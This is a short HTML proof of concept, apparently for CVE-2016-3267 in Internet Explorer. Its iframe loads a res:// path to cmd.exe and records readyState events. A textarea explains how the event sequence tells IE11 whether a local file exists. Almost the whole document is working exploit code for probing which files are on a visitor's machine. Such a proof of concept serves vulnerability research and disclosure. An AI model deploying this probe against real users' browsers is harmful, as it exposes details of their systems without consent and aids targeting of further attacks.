CVE-2016-3267.html

 <iframe id="r" src="res://c:\windows\system32\cmd.exe/3/1" onreadystatechange="document.getElementById('log').innerText+=readyState+','"></iframe>
<div id="log"></div>

<textarea style="width:100%;height:100%">
File Exists:
IE11= interactive,interactive
IE10- = interactive,complete

File Doesn't Exist:
IE11= loading,interactive
IE10- = interactive,complete

so you can tell it in ie11;
</textarea>